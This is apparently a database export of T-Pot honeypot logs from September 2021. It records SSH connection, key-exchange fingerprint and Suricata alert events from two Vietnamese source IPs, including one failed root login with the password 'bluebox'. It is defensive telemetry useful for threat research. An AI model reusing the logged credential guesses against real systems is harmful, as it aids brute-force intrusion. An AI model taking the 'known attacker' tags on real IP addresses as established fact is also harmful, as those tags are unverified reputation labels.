27000	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:44.398343+03	2021-09-20 14:15:14.004644+03	{"_id": "wAbpAnwBvYTbRNuEbCWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7032, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.398343", "@timestamp": "2021-09-20T11:13:44.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27001	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:43.814671+03	2021-09-20 14:15:14.005644+03	{"_id": "wQbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53756 (192.168.176.2:22) [session: af796e801c39]", "session": "af796e801c39", "@version": "1", "protocol": "ssh", "src_port": 53756, "dest_port": 22, "timestamp": "2021-09-20T11:13:43.814671Z", "@timestamp": "2021-09-20T11:13:43.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27002	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:44.116095+03	2021-09-20 14:15:14.006644+03	{"_id": "wgbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7032 (192.168.176.2:22) [session: 46dcbe05a60d]", "session": "46dcbe05a60d", "@version": "1", "protocol": "ssh", "src_port": 7032, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.116095Z", "@timestamp": "2021-09-20T11:13:44.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27003	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:43.810514+03	2021-09-20 14:15:14.007644+03	{"_id": "zwbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/bluebox] failed", "session": "00138fee7633", "@version": "1", "password": "bluebox", "username": "root", "timestamp": "2021-09-20T11:13:43.810514Z", "@timestamp": "2021-09-20T11:13:43.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
41632	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:06:56.992913+03	2021-09-20 16:15:03.169747+03	{"_id": "JwZRA3wBvYTbRNuEFJBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:06:56.992913Z", "@timestamp": "2021-09-20T13:06:56.992Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27004	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:43.825417+03	2021-09-20 14:15:14.009644+03	{"_id": "0AbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "af796e801c39", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:43.825417Z", "@timestamp": "2021-09-20T11:13:43.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27005	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:44.106205+03	2021-09-20 14:15:14.010646+03	{"_id": "0QbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "af796e801c39", "@version": "1", "timestamp": "2021-09-20T11:13:44.106205Z", "@timestamp": "2021-09-20T11:13:44.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27006	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:44.124581+03	2021-09-20 14:15:14.011646+03	{"_id": "0gbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "46dcbe05a60d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:44.124581Z", "@timestamp": "2021-09-20T11:13:44.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27007	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:44.399006+03	2021-09-20 14:15:14.012646+03	{"_id": "0wbpAnwBvYTbRNuEbSVP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "46dcbe05a60d", "@version": "1", "timestamp": "2021-09-20T11:13:44.399006Z", "@timestamp": "2021-09-20T11:13:44.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27008	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:45.120448+03	2021-09-20 14:15:14.014646+03	{"_id": "1QbpAnwBvYTbRNuEbyVQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1167056110652502, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36048, "dest_port": 22, "timestamp": "2021-09-20T11:13:45.120448Z", "@timestamp": "2021-09-20T11:13:45.120Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27009	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:45.148005+03	2021-09-20 14:15:14.015644+03	{"_id": "1wbpAnwBvYTbRNuEcCWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36048, "dest_port": 22, "timestamp": "2021-09-20T11:13:45.148005", "@timestamp": "2021-09-20T11:13:45.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	